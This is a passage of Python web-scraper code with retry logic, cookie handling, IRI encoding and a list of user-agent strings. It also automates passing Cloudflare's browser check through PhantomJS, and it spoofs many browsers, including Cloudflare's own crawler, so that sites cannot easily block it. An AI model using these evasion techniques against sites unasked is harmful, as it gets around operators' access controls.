					self.log.error("Failed to retrieve Website : %s at %s All Attempts Exhausted", pgreq.get_full_url(), time.ctime(time.time()))
					pgctnt = None
					try:
						self.log.critical("Critical Failure to retrieve page! %s at %s, attempt %s", pgreq.get_full_url(), time.ctime(time.time()), retryCount)
						self.log.critical("Error: %s", lastErr)
						self.log.critical("Exiting")
					except:
						self.log.critical("And the URL could not be printed due to an encoding error")
					break

				#print "execution", retryCount
				try:
					# print("Getpage!", requestedUrl, kwargs)
					pghandle = self.opener.open(pgreq, timeout=30)					# Get Webpage
					# print("Gotpage")

				except urllib.error.HTTPError as e:								# Lotta logging
					self.log.warning("Error opening page: %s at %s On Attempt %s.", pgreq.get_full_url(), time.ctime(time.time()), retryCount)
					self.log.warning("Error Code: %s", e)
					print

					#traceback.print_exc()
					try:

						self.log.warning("Original URL: %s", requestedUrl)
						errored = True
					except:
						self.log.warning("And the URL could not be printed due to an encoding error")

					if e.code == 404:
						#print "Unrecoverable - Page not found. Breaking"
						self.log.critical("Unrecoverable - Page not found. Breaking")
						break

					time.sleep(self.retryDelay)
					if e.code == 503:
						errcontent = e.read()
						if b'This process is automatic. Your browser will redirect to your requested content shortly.' in errcontent:
							self.log.warn("Cloudflare failure! Doing automatic step-through.")
							self.stepThroughCloudFlare(requestedUrl, titleNotContains="Just a moment...")
				except UnicodeEncodeError:
					self.log.critical("Unrecoverable Unicode issue retreiving page - %s", requestedUrl)
					for line in traceback.format_exc().split("\n"):
						self.log.critical("%s", line.rstrip())
					self.log.critical("Parameters:")
					self.log.critical("	requestedUrl: '%s'", requestedUrl)
					self.log.critical("	postData:     '%s'", postData)
					self.log.critical("	addlHeaders:  '%s'", addlHeaders)
					self.log.critical("	binaryForm:   '%s'", binaryForm)


					break





				except Exception:
					errored = True
					#traceback.print_exc()
					lastErr = sys.exc_info()
					self.log.warning("Retreival failed. Traceback:")
					self.log.warning(lastErr)
					self.log.warning(traceback.format_exc())

					self.log.warning("Error Retrieving Page! - Trying again - Waiting %s seconds", self.retryDelay)

					try:
						self.log.critical("Error on page - %s", requestedUrl)
					except:
						self.log.critical("And the URL could not be printed due to an encoding error")

					time.sleep(self.retryDelay)


					continue

				if pghandle != None:
					self.log.info("Request for URL: %s succeeded at %s On Attempt %s. Recieving...", pgreq.get_full_url(), time.ctime(time.time()), retryCount)
					pgctnt = self.retreiveContent(pgreq, pghandle, callBack)

					# if retreiveContent did not return false, it managed to fetch valid results, so break
					if pgctnt != False:
						break

		if errored and pghandle != None:
			print(("Later attempt succeeded %s" % pgreq.get_full_url()))
			#print len(pgctnt)
		elif errored and pghandle == None:

			if lastErr and nativeError:
				raise lastErr
			raise urllib.error.URLError("Failed to retreive page '%s'!" % (requestedUrl, ))

		if returnMultiple:
			return pgctnt, pghandle
		else:
			if pghandle:
				pghandle.close()
			return pgctnt

	def getHead(self, url, addlHeaders):
		for x in range(9999):
			try:
				self.log.info("Doing HTTP HEAD request for '%s'", url)
				pgreq = self.buildRequest(url, None, addlHeaders, None, req_class=HeadRequest)
				pghandle = self.opener.open(pgreq, timeout=30)
				returl = pghandle.geturl()
				if returl != url:
					self.log.info("HEAD request returned a different URL '%s'", returl)

				return returl
			except socket.timeout as e:
				self.log.info("Timeout, retrying....")
				if x >= 3:
					self.log.error("Failure fetching: %s", url)
					raise e
			except urllib.error.URLError as e:
				# Continue even in the face of cloudflare crapping it's pants
				if e.code == 500 and e.geturl():
					return e.geturl()
				self.log.info("URLError, retrying....")
				if x >= 3:
					self.log.error("Failure fetching: %s", url)
					raise e

	def syncCookiesFromFile(self):
		# self.log.info("Synchronizing cookies with cookieFile.")
		if os.path.isfile(self.COOKIEFILE):
			self.cj.save("cookietemp.lwp")
			self.cj.load(self.COOKIEFILE)
			self.cj.load("cookietemp.lwp")
		# First, load any changed cookies so we don't overwrite them
		# However, we want to persist any cookies that we have that are more recent then the saved cookies, so we temporarily save
		# the cookies in memory to a temp-file, then load the cookiefile, and finally overwrite the loaded cookies with the ones from the
		# temp file

	def updateCookiesFromFile(self):
		if os.path.exists(self.COOKIEFILE):
			# self.log.info("Synchronizing cookies with cookieFile.")
			self.cj.load(self.COOKIEFILE)
		# Update cookies from cookiefile

	def addCookie(self, inCookie):
		self.log.info("Updating cookie!")
		self.cj.set_cookie(inCookie)

	def addSeleniumCookie(self, cookieDict):
		'''
		Install a cookie exported from a selenium webdriver into
		the active opener
		'''
		# print cookieDict
		cookie = http.cookiejar.Cookie(
				version            = 0,
				name               = cookieDict['name'],
				value              = cookieDict['value'],
				port               = None,
				port_specified     = False,
				domain             = cookieDict['domain'],
				domain_specified   = True,
				domain_initial_dot = False,
				path               = cookieDict['path'],
				path_specified     = False,
				secure             = cookieDict['secure'],
				expires            = cookieDict['expiry'],
				discard            = False,
				comment            = None,
				comment_url        = None,
				rest               = {"httponly":"%s" % cookieDict['httponly']},
				rfc2109            = False
			)

		self.cj.set_cookie(cookie)

	def initLogging(self):
		print("WARNING - Webget logging re-initialized?")
		mainLogger = logging.getLogger("Main")			# Main logger
		mainLogger.setLevel(logging.DEBUG)

		ch = logging.StreamHandler(sys.stdout)
		formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
		ch.setFormatter(formatter)
		mainLogger.addHandler(ch)

	def saveCookies(self, halting=False):

		locked = self.cookie_lock.acquire(timeout=5)
		if not locked:
			self.log.error("Failed to acquire cookie-lock!")
			return

		# print("Have %d cookies before saving cookiejar" % len(self.cj))
		try:
			# self.log.info("Trying to save cookies!")
			if self.cj is not None:							# If cookies were used

				self.syncCookiesFromFile()

				# self.log.info("Have cookies to save")
				for cookie in self.cj:
					# print(cookie)
					# print(cookie.expires)

					if isinstance(cookie.expires, int) and cookie.expires > 30000000000:		# Clamp cookies that expire stupidly far in the future because people are assholes
						cookie.expires = 30000000000

				# self.log.info("Calling save function")
				self.cj.save(self.COOKIEFILE)					# save the cookies again


				# self.log.info("Cookies Saved")
			else:
				self.log.info("No cookies to save?")
		except Exception as e:
			pass
			# The destructor call order is too incoherent, and shit fails
			# during the teardown with null-references. The error printout is
			# not informative, so just silence it.
			# print("Possible error on exit (or just the destructor): '%s'." % e)
		finally:
			self.cookie_lock.release()

		# print("Have %d cookies after saving cookiejar" % len(self.cj))
		if not halting:
			self.syncCookiesFromFile()
		# print "Have %d cookies after reloading cookiejar" % len(self.cj)

	def __del__(self):
		# print "WGH Destructor called!"
		self.saveCookies(halting=True)





	def stepThroughCloudFlare(self, url, titleContains='', titleNotContains=''):
		'''
		Use Selenium+PhantomJS to access a resource behind cloudflare protection.

		Params:
			``url`` - The URL to access that is protected by cloudflare
			``titleContains`` - A string that is in the title of the protected page, and NOT the
				cloudflare intermediate page. The presence of this string in the page title
				is used to determine whether the cloudflare protection has been successfully
				penetrated.

		The current WebGetRobust headers are installed into the selenium browser, which
		is then used to access the protected resource.

		Once the protected page has properly loaded, the cloudflare access cookie is
		then extracted from the selenium browser, and installed back into the WebGetRobust
		instance, so it can continue to use the cloudflare auth in normal requests.

		'''

		if (not titleContains) and (not titleNotContains):
			raise ValueError("You must pass either a string the title should contain, or a string the title shouldn't contain!")

		if titleContains and titleNotContains:
			raise ValueError("You can only pass a single conditional statement!")


		self.log.info("Attempting to access page through cloudflare browser verification.")

		dcap = dict(DesiredCapabilities.PHANTOMJS)
		wgSettings = dict(self.browserHeaders)

		# Install the headers from the WebGet class into phantomjs
		dcap["phantomjs.page.settings.userAgent"] = wgSettings.pop('User-Agent')
		for headerName in wgSettings:
			dcap['phantomjs.page.customHeaders.{header}'.format(header=headerName)] = wgSettings[headerName]

		driver = selenium.webdriver.PhantomJS(desired_capabilities=dcap)
		driver.set_window_size(1024, 768)

		driver.get(url)

		if titleContains:
			condition = EC.title_contains(titleContains)
		elif titleNotContains:
			condition = title_not_contains(titleNotContains)
		else:
			raise ValueError("Wat?")


		try:
			WebDriverWait(driver, 20).until(condition)
			success = True
			self.log.info("Successfully accessed main page!")
		except TimeoutException:
			self.log.error("Could not pass through cloudflare blocking!")
			success = False
		# Add cookies to cookiejar

		for cookie in driver.get_cookies():
			self.addSeleniumCookie(cookie)
			#print cookie[u"value"]

		self.syncCookiesFromFile()

		return success




# Convert an IRI to a URI following the rules in RFC 3987
#
# The characters we need to enocde and escape are defined in the spec:
#
# iprivate =  %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD
# ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF
#         / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD
#         / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD
#         / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD
#         / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD
#         / %xD0000-DFFFD / %xE1000-EFFFD

escape_range = [
	(0xA0, 0xD7FF),
	(0xE000, 0xF8FF),
	(0xF900, 0xFDCF),
	(0xFDF0, 0xFFEF),
	(0x10000, 0x1FFFD),
	(0x20000, 0x2FFFD),
	(0x30000, 0x3FFFD),
	(0x40000, 0x4FFFD),
	(0x50000, 0x5FFFD),
	(0x60000, 0x6FFFD),
	(0x70000, 0x7FFFD),
	(0x80000, 0x8FFFD),
	(0x90000, 0x9FFFD),
	(0xA0000, 0xAFFFD),
	(0xB0000, 0xBFFFD),
	(0xC0000, 0xCFFFD),
	(0xD0000, 0xDFFFD),
	(0xE1000, 0xEFFFD),
	(0xF0000, 0xFFFFD),
	(0x100000, 0x10FFFD),
]

def encode(c):
	retval = c
	i = ord(c)
	for low, high in escape_range:
		if i < low:
			break
		if i >= low and i <= high:
			retval = "".join(["%%%2X" % o for o in c.encode('utf-8')])
			break
	return retval


def iri2uri(uri):
	"""Convert an IRI to a URI. Note that IRIs must be
	passed in a unicode strings. That is, do not utf-8 encode
	the IRI before passing it into the function."""

	assert uri != None, 'iri2uri must be passed a non-none string!'

	original = uri
	if isinstance(uri ,str):
		(scheme, authority, path, query, fragment) = urllib.parse.urlsplit(uri)
		authority = authority.encode('idna').decode('utf-8')
		# For each character in 'ucschar' or 'iprivate'
		#  1. encode as utf-8
		#  2. then %-encode each octet of that utf-8
		path = urllib.parse.quote(path)
		uri = urllib.parse.urlunsplit((scheme, authority, path, query, fragment))
		uri = "".join([encode(c) for c in uri])

	# urllib.parse.urlunsplit(urllib.parse.urlsplit({something})
	# strips any trailing "?" chars. While this may be legal according to the
	# spec, it breaks some services. Therefore, we patch
	# the "?" back in if it has been removed.
	if original.endswith("?") and not uri.endswith("?"):
		uri = uri+"?"
	return uri


class DummyLog:									# For testing WebGetRobust (mostly)
	logText = ""

	def __init__(self):
		pass

	def __repr__(self):
		return self.logText

	def write(self, string):
		self.logText = "%s\n%s" % (self.logText, string)

	def close(self):
		pass




# Due to general internet people douchebaggyness, I've basically said to hell with it and decided to spoof a whole assortment of browsers
# It should keep people from blocking this scraper *too* easily

# This file generates a random browser user-agent, It should have an extremely large set of possible UA structures.
USER_AGENTS = [
	"Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2) ",
	"Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2)",
	"Mozilla/4.0 (compatible; Dillo 3.0)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Maxthon 2.0)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)",
	"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C)",
	"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
	"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
	"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
	"Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)",
	"Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)",
	"Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0",
	"Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11",
	"Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu",
	"Mozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12",
	"Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)",
	"Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)",
	"Mozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)",
	"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
	"Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)",
	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)",
	"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko/20100101 Firefox/20.0",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 1083) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML like Gecko) Version/6.0.2 Safari/536.26.17",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.31 (KHTML like Gecko) Chrome/26.0.1410.63 Safari/537.31",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
	"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.1 (KHTML like Gecko) Version/7.0.6 Safari/537.78.1",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.0.13.81_10003810) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15  (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8",
	"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941",
	"Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.10.2",
	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
	"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
	"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
	"Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1",
	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.29 Safari/537.36 OPR/15.0.1147.24 (Edition Next)",
	"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.71 (KHTML like Gecko) WebVideo/1.0.1.10 Version/7.0 Safari/537.71",
	"Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0",
	"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
	"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0",
	"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:35.0) Gecko/20100101 Firefox/35.0",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Beamrise/17.2.0.9 Chrome/17.0.939.0 Safari/535.8",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML like Gecko) Maxthon/4.0.0.2000 Chrome/22.0.1229.79 Safari/537.1",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.12 Safari/537.36 OPR/14.0.1116.4",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36 OPR/19.0.1326.56",
	"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91",
	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20120422 Firefox/12.0 SeaMonkey/2.9",
	"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
	"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
	"Mozilla/5.0 (Windows NT 6.2; rv:19.0) Gecko/20121129 Firefox/19.0",
	"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
	"Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0",
	"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36",
	"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/534.34",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/534.33",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/534.35",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/534.36",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/534.37",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/534.38",
	"Mozilla/5.0 (compatible; CloudFlare-AlwaysOnline/1.0; +https://www.cloudflare.com/always-online) AppleWebKit/533.34",
	"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
	"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49",
	"Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.8.0",
	"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
	"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",
	"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12",
	"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
	"Mozilla/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit/540.0 (KHTML like Gecko) Version/6.0 Safari/8900.00",
	"Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
	"Mozilla/5.0 (X11; CrOS x86_64 5841.83.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.138 Safari/537.36",
	"Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/536.5",
	"Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4",
	"Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0",
	"Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25",
	"Mozilla/5.0 (X11; Linux 3.8-6.dmz.1-liquorix-686) KHTML/4.8.4 (like Gecko) Konqueror/4.8",
	"Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34",
	"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.22 (KHTML like Gecko) Ubuntu Chromium/25.0.1364.160 Chrome/25.0.1364.160 Safari/537.22",
	"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1478.0 Safari/537.36",
	"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2166.2 Safari/537.36",
	"Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
	"Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120502 Firefox/12.0 SeaMonkey/2.9.1",
	"Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Iceweasel/14.0.1",
	"Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0",
	"Mozilla/5.0 (X11; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0",
	"Mozilla/5.0 (X11; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0",
	"Mozilla/5.0 (X11; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0",
	"Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0",
	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.125 Safari/537.36",
	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172",
	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.56 Safari/537.4",
	"Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120724 Debian Iceweasel/15.02",
	"Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Iceweasel/19.0.2",
	"Mozilla/5.0 (X11; Linux) KHTML/4.9.1 (like Gecko) Konqueror/4.9",
	"Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0",
	"Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
	"Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0",
	"Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2  (KHTML, like Gecko) Safari/531.2  Epiphany/2.30.0",
	"Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8",
	"Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5  (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)",
	"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330",
	"Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)",
	"Mozilla/5.0 (X11; U; Linux i686; rv:19.0) Gecko/20100101 Slackware/13 Firefox/19.0",
	"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)",
	"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8",
	"Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0",
	"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.10.1",
	"Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15",
	"Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2  (KHTML, like Gecko) Safari/531.2  Epiphany/2.30.0",
	"Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5",
	"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8",
	"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3",
	"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0",
	"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0",
	"NetSurf/1.2 (NetBSD; amd64)",
